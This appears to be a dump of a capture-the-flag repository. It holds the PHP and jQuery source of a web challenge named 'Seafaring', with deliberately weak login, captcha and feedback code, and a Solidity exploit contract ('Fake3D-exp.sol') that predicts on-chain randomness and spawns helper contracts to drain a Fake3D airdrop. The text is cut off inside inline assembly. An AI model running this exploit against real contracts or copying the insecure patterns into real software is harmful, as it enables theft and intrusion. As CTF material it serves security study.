1); 5 | }, function () { 6 | $(this).stop().fadeTo(650, 0.7); 7 | }); 8 | if ($.cookie("codeusername") != null) { 9 | $.ajax({ 10 | type: "POST", 11 | url: '/users/AjaxServer/checkis.ashx', 12 | data: { typex: 1 }, 13 | async: false, 14 | success: function (data) {///去更新cookies 15 | if (data == "NotLogin") { 16 | ///沒有登錄 17 | getLogStatx(2); //没有记录cookies 的登录状态 18 | 19 | } else { 20 | window.location.href = "http://home.wopop.com/UserHome/ot5lst/website.aspx"; 21 | } 22 | } 23 | }); 24 | 25 | 26 | } 27 | $("#button").click(function () { 28 | var username = $("#username").val(); 29 | var userpwd = $("#userpwd").val(); 30 | if (username.length > 0 && userpwd.length > 0) { 31 | getLogStatx(1); 32 | } 33 | 34 | }); 35 | 36 | ////忘记密码 37 | $("#iforget").click(function () { 38 | $("#login_model").hide(); 39 | $("#forget_model").show(); 40 | 41 | }); 42 | 43 | ///取回密码 44 | $("#Retrievenow").click(function () { 45 | var usrmail = $("#usrmail").val(); 46 | if (!Test_email(usrmail)) { 47 | // alert(msgggg.pssjs1); 48 | return false; 49 | } 50 | $.ajax({ 51 | type: "POST", 52 | url: '/users/AjaxServer/checkis.ashx', 53 | data: { typex: 5, usrmail: usrmail }, 54 | success: function (data) {// 55 | 56 | alert(data); 57 | $("#login_model").show(); 58 | $("#forget_model").hide(); 59 | $("#usrmail").val(""); 60 | $("#username").val(""); 61 | $("#userpwd").val(""); 62 | 63 | } 64 | }); 65 | 66 | 67 | }); 68 | //返回 69 | $("#denglou").click(function () { 70 | $("#usrmail").val(""); 71 | $("#username").val(""); 72 | $("#userpwd").val(""); 73 | $("#login_model").show(); 74 | $("#forget_model").hide(); 75 | 76 | }); 77 | 78 | 79 | //typexx 自动 还是手动 80 | function getLogStatx(typex) { 81 | var current = (location.href); 82 | var screenwidth = $(window).width(); 83 | var screenheight = $(window).height(); 84 | var username = $("#username").val(); 85 | var userpwd = $("#userpwd").val(); 86 | var issavecookies = "NO"; 87 | if ($("#save_me").attr("checked") == true) { 88 | issavecookies = "Yes"; 89 | } 90 | else { 91 | issavecookies = "NO"; 92 | } 93 | var l_dot = screenwidth + "*" + screenheight; 94 | if (typex == "2") { 95 | if (username == null && userpwd == null) { 96 | ////保存了cook 97 | username = $.cookie('codeusername'); 98 | userpwd = $.cookie('codeppsd'); 99 | $.ajax({ 100 | type: "POST", 101 | url: '/users/AjaxServer/Ajax_User_Loading.ashx', 102 | data: { username: username, userpwd: userpwd, issavecookies: issavecookies, l_dot: l_dot, typex: 2 }, 103 | success: function (data) {///去更新cookies 104 | if (current.indexOf("index.aspx") > -1) { 105 | 106 | 107 | } else { 108 | 109 | if (data == "0" || data == "1") { 110 | window.location.href = "http://home.wopop.com/UserHome/ot5lst/website.aspx"; 111 | 112 | } else { 113 | ot5alert(data, "1"); 114 | 115 | } 116 | } 117 | } 118 | }); 119 | 120 | 121 | } 122 | } else if (typex == "1") { 123 | ///// 手動 登錄 124 | $.ajax({ 125 | type: "POST", 126 | url: '/users/AjaxServer/Ajax_User_Loading.ashx', 127 | data: { username: username, userpwd: userpwd, issavecookies: issavecookies, l_dot: l_dot, typex: 1 }, 128 | success: function (data) {///去更新cookies 129 | if (data == "0" || data == "1") { 130 | window.location.href = "http://home.wopop.com/UserHome/ot5lst/website.aspx"; 131 | 132 | } else { 133 | ot5alert(data, "1"); 134 | 135 | } 136 | } 137 | }); 138 | } 139 | } 140 | 141 | 142 | }); 143 | //Email 规则以后重新整理所有网站Aboutjs 验证 144 | function Test_email(strEmail) { var myReg = /^[-a-z0-9\._]+@([-a-z0-9\-]+\.)+[a-z0-9]{2,3}$/i; if (myReg.test(strEmail)) return true; return false; } 145 | -------------------------------------------------------------------------------- /web/Seafaring/dockers/www/about.php: -------------------------------------------------------------------------------- 1 | 4 | 5 |
6 |
7 | 8 | 9 |
10 |
11 | 15 |
16 |
17 |

About Us

18 |  19 |

Neque porpro quisquam est, qui dolorem ipsum quia dolor sit amet aliquid ex ea consectetur

20 |

Ut enim ad minima veniam, quis nostrum exercitationem ullam 21 | corporis suscipit laboriosam, nisi ut aliquid ex ea consectetur, adipisci 22 | velit, sed quia non numquam eius modi commodi consequatur.

23 |
24 |
25 |

Our History

26 |
27 |
28 |

1995 -

29 |
30 |
31 |

Ut enim ad minima veniam, quis nostrum exercitationem ullam 32 | corporis suscipit laboriosam.

33 |
34 |
35 |
36 |
37 |
38 |

2000 -

39 |
40 |
41 |

Ut enim ad minima veniam, quis nostrum exercitationem ullam 42 | corporis suscipit laboriosam.

43 |
44 |
45 |
46 |
47 |
48 |

2013 -

49 |
50 |
51 |

Ut enim ad minima veniam, quis nostrum exercitationem ullam 52 | corporis suscipit laboriosam.

53 |
54 |
55 |
56 |
57 |
58 |

2015 -

59 |
60 |
61 |

Ut enim ad minima veniam, quis nostrum exercitationem ullam 62 | corporis suscipit laboriosam.

63 |
64 |
65 |
66 |
67 |
68 |

Today

69 |
70 |
71 |

Ut enim ad minima veniam, quis nostrum exercitationem ullam 72 | corporis suscipit laboriosam.

73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 | 82 | 83 |
84 |
85 |
86 |

Our Standards

87 |
88 |

21.9.2015

89 |

consequatur aut perferendis

90 |

Itaque earum rerum hic tenetur a sapiente delectus, 91 | ut aut reiciendis voluptatibus maiores alias consequatur voluptates repudiandae sint et 92 | molestiae non recusandae aut perferendis.

93 |
94 |
95 |

28.9.2015

96 |

consequatur aut perferendis

97 |

Itaque earum rerum hic tenetur a sapiente delectus, 98 | ut aut reiciendis voluptatibus maiores alias consequatur voluptates repudiandae sint et 99 | molestiae non recusandae aut perferendis.

100 |
101 |
102 |

03.8.2015

103 |

consequatur aut perferendis

104 |

Itaque earum rerum hic tenetur a sapiente delectus, 105 | ut aut reiciendis voluptatibus maiores alias consequatur voluptates repudiandae sint et 106 | molestiae non recusandae aut perferendis.

107 |
108 |
109 |
110 |

What We Offer

111 |

voluptatibus maiores alias

112 |

To take a trivial example, which of us ever undertakes laborious physical 113 | exercise, except to obtain some advantage from it? But who has any right to 114 | find fault with a man who chooses to enjoy a pleasure.

115 | 123 |
124 |
125 |
126 |
127 | 128 | 131 | -------------------------------------------------------------------------------- /web/Seafaring/dockers/www/login.php: -------------------------------------------------------------------------------- 1 | real_escape_string($_POST['username']); 9 | $pass = $dbc->real_escape_string($_POST['password']); 10 | $query = "SELECT * FROM admin WHERE user_name='{$user}' and user_pass='{$pass}' "; 11 | $data = mysqli_query($dbc, $query); 12 | if (mysqli_num_rows($data) == 1) { 13 | $row = mysqli_fetch_array($data); 14 | $_SESSION['username'] = $row['user_name']; 15 | header('Location: ./admin/index.php'); 16 | } else { 17 | echo '

Username:', $user, '
password:', $pass, '

wrong!
'; 18 | } 19 | } 20 | }else{ 21 | echo ""; 23 | } 24 | } 25 | ?> 26 | 27 | 29 | 30 | 31 | 32 | 33 | Login 34 | 35 | 36 | 37 | 38 | 39 | 40 | 45 | 46 | 47 | 117 |

118 |

More Templates - Collect from

119 | 120 | 121 | 122 | -------------------------------------------------------------------------------- /web/Seafaring/dockers/www/index.php: -------------------------------------------------------------------------------- 1 | 4 | 5 | 47 | 48 |
Collect from Template
49 | 50 | 137 | 138 | 141 | -------------------------------------------------------------------------------- /web/Seafaring/dockers/www/admin/index.php: -------------------------------------------------------------------------------- 1 | alert('Login first,Plz :)');"; 6 | echo "location.href='../login.php';"; 7 | die(); 8 | } 9 | if ($_SESSION['username'] != 'admin') { 10 | echo ""; 12 | die(); 13 | } 14 | ?> 15 | 16 |
17 |
18 | 19 | 20 |
21 |
22 |
23 |
24 |

25 |
26 | 40 |
41 |

Comments

42 | 43 |
44 |
45 | 46 | 47 | 48 | 51 | 54 | 57 | 60 | 61 | 62 | 63 | 64 | query($query); 67 | // if ($result->num_rows > 0) { 68 | // while ($row = $result->fetch_row()) { 69 | // if (intval($row[3]) === 1) 70 | // $status = '
Checked
'; 71 | // else 72 | // $status = '
Waiting
'; 73 | // echo " 74 | // 75 | // 76 | // 77 | // 78 | // 79 | // 80 | // "; 81 | // } 82 | // } else { 83 | // echo " 84 | // 85 | // 86 | // 87 | // 88 | // 89 | // 90 | // "; 91 | // } 92 | ?> 93 | 94 |
49 |
Time
50 |
52 |
Username
53 |
55 |
UID
56 |
58 |
Status
59 |
{$row[0]}
{$row[1]}
{$row[2]}
{$status}
-
-
-
95 |
96 |
97 |

View comments

98 |
99 |
100 | 101 |
102 |
103 |
    104 |
  • Username
  • 105 |
  • September 15, 2015 at 10.30am
  • 106 |
  • Status
  • 107 |
108 |

message

109 | 110 |
111 |
112 |
113 |
114 |
115 |
116 |
117 | 118 | 120 | 121 |
122 |
123 |
124 |
125 |
126 |
127 | 128 | 129 | 133 | -------------------------------------------------------------------------------- /web/Seafaring/dockers/www/Wopop_files/jquery.pagination.js: -------------------------------------------------------------------------------- 1 | /** 2 | * This jQuery plugin displays pagination links inside the selected elements. 3 | * 4 | * @author Gabriel Birke (birke *at* d-scribe *dot* de) 5 | * @version 1.1 6 | * @param {int} maxentries Number of entries to paginate 7 | * @param {Object} opts Several options (see README for documentation) 8 | * @return {Object} jQuery Object 9 | */ 10 | jQuery.fn.pagination = function(maxentries, opts) { 11 | opts = jQuery.extend({ 12 | items_per_page: 10, 13 | num_display_entries: 10, 14 | current_page: 0, 15 | num_edge_entries: 0, 16 | link_to: "#", 17 | prev_text: "Prev", 18 | next_text: "Next", 19 | ellipse_text: "", 20 | prev_show_always: true, 21 | next_show_always: true, 22 | callback: function() { return false; } 23 | }, opts || {}); 24 | 25 | return this.each(function() { 26 | /** 27 | * Calculate the maximum number of pages 28 | */ 29 | function numPages() { 30 | return Math.ceil(maxentries / opts.items_per_page); 31 | } 32 | 33 | /** 34 | * Calculate start and end point of pagination links depending on 35 | * current_page and num_display_entries. 36 | * @return {Array} 37 | */ 38 | function getInterval() { 39 | var ne_half = Math.ceil(opts.num_display_entries / 2); 40 | var np = numPages(); 41 | var upper_limit = np - opts.num_display_entries; 42 | var start = current_page > ne_half ? Math.max(Math.min(current_page - ne_half, upper_limit), 0) : 0; 43 | var end = current_page > ne_half ? Math.min(current_page + ne_half, np) : Math.min(opts.num_display_entries, np); 44 | return [start, end]; 45 | } 46 | 47 | /** 48 | * This is the event handling function for the pagination links. 49 | * @param {int} page_id The new page number 50 | */ 51 | function pageSelected(page_id, evt) { 52 | current_page = page_id; 53 | drawLinks(); 54 | var continuePropagation = opts.callback(page_id, panel); 55 | if (!continuePropagation) { 56 | if (evt.stopPropagation) { 57 | evt.stopPropagation(); 58 | } 59 | else { 60 | evt.cancelBubble = true; 61 | } 62 | } 63 | return continuePropagation; 64 | } 65 | 66 | /** 67 | * This function inserts the pagination links into the container element 68 | */ 69 | function drawLinks() { 70 | panel.empty(); 71 | var interval = getInterval(); 72 | var np = numPages(); 73 | // This helper function returns a handler function that calls pageSelected with the right page_id 74 | var getClickHandler = function(page_id) { 75 | return function(evt) { return pageSelected(page_id, evt); } 76 | } 77 | // Helper function for generating a single link (or a span tag if it'S the current page) 78 | var appendItem = function(page_id, appendopts) { 79 | page_id = page_id < 0 ? 0 : (page_id < np ? page_id : np - 1); // Normalize page id to sane value 80 | appendopts = jQuery.extend({ text: page_id + 1, classes: "current" }, appendopts || {}); 81 | if (page_id == current_page) { 82 | var lnk = $("" + (appendopts.text) + ""); 83 | } 84 | else { 85 | var lnk = $("" + (appendopts.text) + "") 86 | .bind("click", getClickHandler(page_id)) 87 | .attr('href', opts.link_to.replace(/__id__/, page_id)); 88 | 89 | 90 | } 91 | if (appendopts.classes) { lnk.removeAttr('class'); lnk.addClass(appendopts.classes); } 92 | panel.append(lnk); 93 | } 94 | // Generate "Previous"-Link 95 | if (opts.prev_text && (current_page > 0 || opts.prev_show_always)) { 96 | appendItem(current_page - 1, { text: opts.prev_text, classes: "disabled" }); 97 | } 98 | // Generate starting points 99 | if (interval[0] > 0 && opts.num_edge_entries > 0) { 100 | var end = Math.min(opts.num_edge_entries, interval[0]); 101 | for (var i = 0; i < end; i++) { 102 | appendItem(i); 103 | } 104 | if (opts.num_edge_entries < interval[0] && opts.ellipse_text) { 105 | jQuery("" + opts.ellipse_text + "").appendTo(panel); 106 | } 107 | } 108 | // Generate interval links 109 | for (var i = interval[0]; i < interval[1]; i++) { 110 | appendItem(i); 111 | } 112 | // Generate ending points 113 | if (interval[1] < np && opts.num_edge_entries > 0) { 114 | if (np - opts.num_edge_entries > interval[1] && opts.ellipse_text) { 115 | jQuery("" + opts.ellipse_text + "").appendTo(panel); 116 | } 117 | var begin = Math.max(np - opts.num_edge_entries, interval[1]); 118 | for (var i = begin; i < np; i++) { 119 | appendItem(i); 120 | } 121 | 122 | } 123 | // Generate "Next"-Link 124 | if (opts.next_text && (current_page < np - 1 || opts.next_show_always)) { 125 | appendItem(current_page + 1, { text: opts.next_text, classes: "disabled classjason" }); 126 | } 127 | } 128 | 129 | // Extract current_page from options 130 | var current_page = opts.current_page; 131 | // Create a sane value for maxentries and items_per_page 132 | maxentries = (!maxentries || maxentries < 0) ? 1 : maxentries; 133 | opts.items_per_page = (!opts.items_per_page || opts.items_per_page < 0) ? 1 : opts.items_per_page; 134 | // Store DOM element for easy access from all inner functions 135 | var panel = jQuery(this); 136 | // Attach control functions to the DOM element 137 | this.selectPage = function(page_id) { pageSelected(page_id); } 138 | this.prevPage = function() { 139 | if (current_page > 0) { 140 | pageSelected(current_page - 1); 141 | return true; 142 | } 143 | else { 144 | return false; 145 | } 146 | } 147 | this.nextPage = function() { 148 | if (current_page < numPages() - 1) { 149 | pageSelected(current_page + 1); 150 | return true; 151 | } 152 | else { 153 | return false; 154 | } 155 | } 156 | // When all initialisation is done, draw the links 157 | drawLinks(); 158 | }); 159 | } 160 | 161 | 162 | -------------------------------------------------------------------------------- /web/Seafaring/dockers/www/Wopop_files/pagination.css: -------------------------------------------------------------------------------- 1 | div.megas512 { 2 | height: 25px; 3 | padding-top:12px; 4 | margin: 5px; 5 | padding-left: 7px; 6 | text-indent: 0; 7 | text-align:center; 8 | } 9 | div.megas512 a { 10 | 11 | } 12 | div.megas512 a:hover { 13 | 14 | } 15 | 16 | #Pagination .current { 17 | background: url("/pop/web/images/page.gif") no-repeat scroll -88px 0 transparent; 18 | color: #B5B3B3; 19 | cursor: pointer; 20 | display: inline-block !important; 21 | height: 24px !important; 22 | line-height: 24px; 23 | margin-left: 3px; 24 | position: relative; 25 | text-align: center; 26 | top: -8px; 27 | width: 22px; 28 | position: relative; 29 | top: -16px;*top: -12px; 30 | } 31 | 32 | #Pagination .current:hover { background-position:-88px -24px; color:#fff;} 33 | #Pagination span.current{ background-position:-88px -24px; color:#fff;} 34 | #Pagination .disabled { 35 | background: url("/pop/web/images/page.gif") no-repeat -44px 0px scroll transparent; 36 | color: #B5B3B3; 37 | cursor: pointer; 38 | display: inline-block !important; 39 | height: 24px !important; 40 | line-height: 24px; 41 | margin-left: 3px; 42 | position: relative; 43 | text-align: center; 44 | top: -8px; 45 | width: 22px;} 46 | 47 | 48 | 49 | #Pagination .disabled:hover {background-position:-44px -24px;} 50 | 51 | #Pagination .classjason{background: url("/pop/web/images/page.gif") no-repeat -66px 0px scroll transparent; 52 | color: #B5B3B3; 53 | cursor: pointer; 54 | display: inline-block !important; 55 | height: 24px !important; 56 | line-height: 24px; 57 | margin-left: 3px; 58 | position: relative; 59 | text-align: center; 60 | top: -8px; 61 | width: 22px;} 62 | 63 | #Pagination .classjason:hover{background-position:-66px -24px;} 64 | 65 | 66 | 67 | 68 | #Pagination_S .current { 69 | background: url("/pop/web/images/page.gif") no-repeat scroll -88px 0 transparent; 70 | color: #B5B3B3; 71 | cursor: pointer; 72 | display: inline-block !important; 73 | height: 24px !important; 74 | line-height: 24px; 75 | margin-left: 3px; 76 | position: relative; 77 | text-align: center; 78 | top: -8px; 79 | width: 22px; 80 | position: relative; 81 | top: -16px;*top: -12px; 82 | } 83 | 84 | #Pagination_S .current:hover { background-position:-88px -24px; color:#fff;} 85 | #Pagination_S span.current{ background-position:-88px -24px; color:#fff;} 86 | #Pagination_S .disabled { 87 | background: url("/pop/web/images/page.gif") no-repeat -44px 0px scroll transparent; 88 | color: #B5B3B3; 89 | cursor: pointer; 90 | display: inline-block !important; 91 | height: 24px !important; 92 | line-height: 24px; 93 | margin-left: 3px; 94 | position: relative; 95 | text-align: center; 96 | top: -8px; 97 | width: 22px;} 98 | 99 | 100 | 101 | #Pagination_S .disabled:hover {background-position:-44px -24px;} 102 | 103 | #Pagination_S .classjason{background: url("/pop/web/images/page.gif") no-repeat -66px 0px scroll transparent; 104 | color: #B5B3B3; 105 | cursor: pointer; 106 | display: inline-block !important; 107 | height: 24px !important; 108 | line-height: 24px; 109 | margin-left: 3px; 110 | position: relative; 111 | text-align: center; 112 | top: -8px; 113 | width: 22px;} 114 | 115 | #Pagination_S .classjason:hover{background-position:-66px -24px;} 116 | /* #Pagination_S{ margin-top:20px;}*/ 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | #dmepagination .current { 128 | background: url("/pop/web/images/page.gif") no-repeat scroll -88px 0 transparent; 129 | color: #B5B3B3; 130 | cursor: pointer; 131 | display: inline-block !important; 132 | height: 24px !important; 133 | line-height: 24px; 134 | margin-left: 3px; 135 | position: relative; 136 | text-align: center; 137 | top: -8px; 138 | width: 22px; 139 | position: relative; 140 | top: -16px;*top: -12px; 141 | } 142 | 143 | #dmepagination .current:hover { background-position:-88px -24px; color:#fff;} 144 | #dmepagination span.current{ background-position:-88px -24px; color:#fff;} 145 | #dmepagination .disabled { 146 | background: url("/pop/web/images/page.gif") no-repeat -44px 0px scroll transparent; 147 | color: #B5B3B3; 148 | cursor: pointer; 149 | display: inline-block !important; 150 | height: 24px !important; 151 | line-height: 24px; 152 | margin-left: 3px; 153 | position: relative; 154 | text-align: center; 155 | top: -8px; 156 | width: 22px;} 157 | 158 | 159 | 160 | #dmepagination .disabled:hover {background-position:-44px -24px;} 161 | 162 | #dmepagination .classjason{background: url("/pop/web/images/page.gif") no-repeat -66px 0px scroll transparent; 163 | color: #B5B3B3; 164 | cursor: pointer; 165 | display: inline-block !important; 166 | height: 24px !important; 167 | line-height: 24px; 168 | margin-left: 3px; 169 | position: relative; 170 | text-align: center; 171 | top: -8px; 172 | width: 22px;} 173 | 174 | #dmepagination .classjason:hover{background-position:-66px -24px;} 175 | /*#dmepagination{ margin-top:20px;}*/ 176 | 177 | 178 | #Pagination_T .current { 179 | background: url("/pop/web/images/page.gif") no-repeat scroll -88px 0 transparent; 180 | color: #B5B3B3; 181 | cursor: pointer; 182 | display: inline-block !important; 183 | height: 24px !important; 184 | line-height: 24px; 185 | margin-left: 3px; 186 | position: relative; 187 | text-align: center; 188 | top: -8px; 189 | width: 22px; 190 | position: relative; 191 | top: -16px;*top: -12px; 192 | } 193 | 194 | #Pagination_T .current:hover { background-position:-88px -24px; color:#fff;} 195 | #Pagination_T span.current{ background-position:-88px -24px; color:#fff;} 196 | #Pagination_T .disabled { 197 | background: url("/pop/web/images/page.gif") no-repeat -44px 0px scroll transparent; 198 | color: #B5B3B3; 199 | cursor: pointer; 200 | display: inline-block !important; 201 | height: 24px !important; 202 | line-height: 24px; 203 | margin-left: 3px; 204 | position: relative; 205 | text-align: center; 206 | top: -8px; 207 | width: 22px;} 208 | 209 | 210 | 211 | #Pagination_T .disabled:hover {background-position:-44px -24px;} 212 | 213 | #Pagination_T .classjason{background: url("/pop/web/images/page.gif") no-repeat -66px 0px scroll transparent; 214 | color: #B5B3B3; 215 | cursor: pointer; 216 | display: inline-block !important; 217 | height: 24px !important; 218 | line-height: 24px; 219 | margin-left: 3px; 220 | position: relative; 221 | text-align: center; 222 | top: -8px; 223 | width: 22px;} 224 | 225 | #Pagination_T .classjason:hover{background-position:-66px -24px;} 226 | 227 | -------------------------------------------------------------------------------- /web/Seafaring/dockers/www/contact.php: -------------------------------------------------------------------------------- 1 | alert('Login first,Plz :)');"; 5 | echo "location.href='login.php';"; 6 | exit(); 7 | } else { 8 | include_once "config.php"; 9 | } 10 | ?> 11 | 12 |
13 |
14 | 15 | 16 |
17 | 18 |
19 |
20 | 24 |
25 |
26 |
27 | 28 |
29 |
30 |
    31 |
  • +3402 890 679
  • 32 |
  • +5356 890 679
  • 33 |
34 |
35 |
36 |
37 |
38 |
39 | 40 |
41 |
42 |
    43 |
  • 345 Diamond Street,
  • 44 |
  • Greece.
  • 45 |
46 |
47 |
48 |
49 |
50 |
51 | 52 |
53 |
54 | 57 |
58 |
59 |
60 |
61 |
62 | real_escape_string($_POST['message'])); 67 | $user_name = htmlentities($dbc->real_escape_string($_SESSION['username'])); 68 | $uid = md5(uniqid()); 69 | $query = "INSERT INTO `feedbacks` (`message`,`is_checked`,`timestamp`,`user_name`,`uid`) VALUES ('{$message}',0,now(),'{$user_name}','{$uid}');"; 70 | $dbc->query($query); 71 | echo ' 72 |
73 | Success! Your message sended. Message UID: ' . $uid . ' 74 |
75 | '; 76 | } else { 77 | echo ' 78 |
79 | Error! Captcha is not correct. 80 |
81 | '; 82 | } 83 | } 84 | $seed = rand(100000, 999999); 85 | $captcha = substr(md5($seed), 0, 4); 86 | $_SESSION['captcha'] = $captcha; 87 | ?> 88 |
89 | 90 |

substr(md5($code),0,4) ==''

91 | 92 | 93 |
94 |
95 |
96 | 99 |
100 | 101 |
102 |
103 |
104 |
105 |
106 |
107 | 110 |
111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | real_escape_string($_SESSION['username']); 123 | $query = "SELECT timestamp,uid,message,is_checked FROM feedbacks WHERE user_name = '{$user_name}' ORDER BY id DESC"; 124 | $result = $dbc->query($query); 125 | if ($result->num_rows > 0) { 126 | while ($row = $result->fetch_row()) { 127 | if ( intval($row[3]) === 1 ) 128 | $status = '
Checked
'; 129 | else 130 | $status = '
Waiting
'; 131 | echo " 132 | 133 | 134 | 135 | 136 | 137 | 138 | "; 139 | } 140 | } 141 | else 142 | { 143 | echo " 144 | 145 | 146 | 147 | 148 | 149 | "; 150 | } 151 | ?> 152 | 153 |
Time
UID
Message
Status
{$row[0]}
{$row[1]}
{$row[2]}
{$status}
-
-
-
154 |
155 |
156 |
157 | 158 |
159 | 160 | 161 | 164 | -------------------------------------------------------------------------------- /web/Seafaring/dockers/www/admin/header.php: -------------------------------------------------------------------------------- 1 | 5 | 6 | 7 | 8 | Home 9 | 10 | 11 | 12 | 14 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 36 | 144 | 145 | 146 | 147 |
148 | 151 |
152 |
    153 |
  • 154 |
  • Exit
  • 155 |
156 |
157 |
158 |
159 |
160 |
161 | 182 |
183 |
184 | 185 | -------------------------------------------------------------------------------- /web/Seafaring/dockers/www/services.php: -------------------------------------------------------------------------------- 1 | 4 | 5 |
6 |
7 | 8 | 9 |
10 |
11 | 15 |
16 |
17 |

Services Overview

18 |
19 |
20 |
21 |  22 |
23 |

Itaque earum rerum hic tenetur

24 |

Neque porro quisquam est, qui dolorem ipsum quia dolor 25 | sit amet, consectetur, adipisci velit, sed quia non numquam 26 | eius modi tempora incidunt ut labore et dolore magnam aliquam 27 | quaerat voluptatem.

28 | 34 |
35 |
36 |
37 |
38 |
39 |  40 |
41 |

Itaque earum rerum hic tenetur

42 |

Neque porro quisquam est, qui dolorem ipsum quia dolor 43 | sit amet, consectetur, adipisci velit, sed quia non numquam 44 | eius modi tempora incidunt ut labore et dolore magnam aliquam 45 | quaerat voluptatem.

46 | 52 |
53 |
54 |
55 |
56 |
57 |  58 |
59 |

Itaque earum rerum hic tenetur

60 |

Neque porro quisquam est, qui dolorem ipsum quia dolor 61 | sit amet, consectetur, adipisci velit, sed quia non numquam 62 | eius modi tempora incidunt ut labore et dolore magnam aliquam 63 | quaerat voluptatem.

64 | 70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |  79 |
80 |

Itaque earum rerum hic tenetur

81 |

Neque porro quisquam est, qui dolorem ipsum quia dolor 82 | sit amet, consectetur, adipisci velit, sed quia non numquam 83 | eius modi tempora incidunt ut labore et dolore magnam aliquam 84 | quaerat voluptatem.

85 | 91 |
92 |
93 |
94 |
95 |
96 |  97 |
98 |

Itaque earum rerum hic tenetur

99 |

Neque porro quisquam est, qui dolorem ipsum quia dolor 100 | sit amet, consectetur, adipisci velit, sed quia non numquam 101 | eius modi tempora incidunt ut labore et dolore magnam aliquam 102 | quaerat voluptatem.

103 | 109 |
110 |
111 |
112 |
113 |
114 |  115 |
116 |

Itaque earum rerum hic tenetur

117 |

Neque porro quisquam est, qui dolorem ipsum quia dolor 118 | sit amet, consectetur, adipisci velit, sed quia non numquam 119 | eius modi tempora incidunt ut labore et dolore magnam aliquam 120 | quaerat voluptatem.

121 | 127 |
128 |
129 |
130 |
131 |
132 |
133 |
134 |
135 | 136 | 139 | -------------------------------------------------------------------------------- /blockchain/Fake3D/wp/Fake3D-exp.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.24; 2 | 3 | /** 4 | * @title Owned 5 | * @dev Ownership model 6 | */ 7 | contract Owned { 8 | address public owner; 9 | 10 | event OwnershipTransfered(address indexed owner); 11 | 12 | constructor() public { 13 | owner = msg.sender; 14 | } 15 | 16 | modifier onlyOwner { 17 | require(msg.sender == owner); 18 | _; 19 | } 20 | 21 | function transferOwnership(address newOwner) onlyOwner public { 22 | owner = newOwner; 23 | emit OwnershipTransfered(owner); 24 | } 25 | } 26 | 27 | contract Fake3D{ 28 | function airDrop() public returns (bool) {} 29 | } 30 | 31 | contract assassinator { 32 | function assassinator(address beneficiary, address target, address hack_addr) public payable { 33 | Fake3D ag = Fake3D(target); 34 | ag.airDrop(); 35 | selfdestruct(beneficiary); 36 | } 37 | } 38 | 39 | contract executor { 40 | function attack(uint256 _eth, address target, address hack_addr) public payable { 41 | assassinator ass = (new assassinator).value(_eth)(msg.sender, target, hack_addr); 42 | } 43 | } 44 | 45 | contract BlueAttck is Owned{ 46 | 47 | using SafeMath for *; 48 | struct child { 49 | address addr; 50 | uint64 nonce; 51 | } 52 | 53 | child[] public children; 54 | address public target; 55 | address public hack_addr = 0xca35b7d915458ef540ade6068dfe2f44e8fa733c; 56 | 57 | event Log(address addr); 58 | event Exe(address addr,uint n); 59 | 60 | function test_create() public { 61 | emit Log(ContractAddrCalculator.calc(this, 1)); 62 | executor e = new executor(); 63 | emit Log(e); 64 | } 65 | 66 | 67 | function claim_airdrop(uint times) public{ 68 | Fake3D ag = Fake3D(target); 69 | for(uint i = 0; i < children.length; i++) { 70 | child storage ch = children[i]; 71 | address _sender = ContractAddrCalculator.calc(ch.addr, ch.nonce); 72 | 73 | uint256 seed = uint256(keccak256(abi.encodePacked( 74 | (block.timestamp).add 75 | (block.difficulty).add 76 | ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add 77 | (block.gaslimit).add 78 | ((uint256(keccak256(abi.encodePacked(_sender)))) / (now)).add 79 | (block.number) 80 | ))); 81 | 82 | if((seed - ((seed / 1000) * 1000)) < 288){ 83 | for(uint j=0;j= a, "SafeMath add failed"); 143 | return c; 144 | } 145 | } 146 | 147 | library ContractAddrCalculator { 148 | // NOTE this program works as long as nonce is less than 33 bytes 149 | // which is 2**(8*33), almost impossible for a contract to create 150 | // so many contracts, also uint256 is only 32bytes 151 | // GAS COST 152 | // nonce = 1 => 256 153 | // 0x80 => 389 154 | // 0x0102 => 429 155 | // above is example of assembly execution cost, plus 280 other execution cost per tx 156 | // complaint: 1. the compiler's control flow analysis sucks 157 | // 2. no opcode for left/right shift, has to use a combination of exp and mul, causes a lot more gas usage 158 | function calc(address baseAddr, uint256 nonce) public view returns(address addr) { 159 | assembly { 160 | // ---------------START: genAddr--------------- 161 | // TODO: load from parameters 162 | // A N 163 | baseAddr // dup3 164 | nonce // dup3 165 | 166 | // ---------------START: rlpEncodeNonce--------------- 167 | // N 168 | dup1 169 | dup1 // to fix the compiler bug on stack height calc around "jump" opcode, have to manually maintain the stack height 170 | label_not0 171 | // N N N label_not0 172 | jumpi 173 | pop 174 | pop 175 | 0x80 176 | 1 177 | // 0x80 1 178 | label_rlpEnd 179 | // 0x80 1 label_rlpEnd 180 | jump 181 | label_not0: 182 | // N N 183 | dup1 184 | 0x7f 185 | lt 186 | // N N N>0x7f 187 | label_rlpGt0x7f 188 | jumpi 189 | // N N 190 | pop 191 | 1 192 | label_rlpEnd 193 | // N 1 label_rlpEnd 194 | jump 195 | label_rlpGt0x7f: 196 | // N N 197 | pop 198 | 199 | // ---------------START: countStackTopInBytes--------------- 200 | // push the integer represents the byte count of stack-top number on to stak 201 | // example with STACK 202 | // 0x00 => 0x00 0x01 203 | // 0xf0 => 0xf0 0x01 204 | // 0x0102 => 0x0102 0x02 205 | // X 206 | 0 207 | // X 0 208 | dup2 209 | // X 0 X 210 | label_loop: 211 | swap1 212 | // X X 0 213 | 1 214 | add 215 | // X X 1 216 | swap1 217 | // X 1 X 218 | 256 219 | // X 1 X 256 220 | swap1 221 | // X 1 256 X 222 | div 223 | // X 1 X>>8 224 | dup1 225 | // X 1 X>>8 X>>8 226 | label_loop 227 | // X 1 X>>8 X>>8 label_loop 228 | jumpi 229 | // X 1 X>>8 230 | pop 231 | // X 1 232 | // ---------------END: countStackTopInBytes--------------- 233 | 234 | // N N_len 235 | swap1 236 | // N_len N 237 | dup2 238 | // N_len N N_len 239 | dup1 240 | 0x80 241 | add 242 | // N_len N N_len rlpNHead 243 | swap1 244 | // N_len N rlpNHead N_len 245 | 256 246 | exp 247 | // N_len N rlpNHead 256^N_len 248 | mul 249 | or 250 | // N_len rlpN 251 | swap1 252 | // rlpN N_len 253 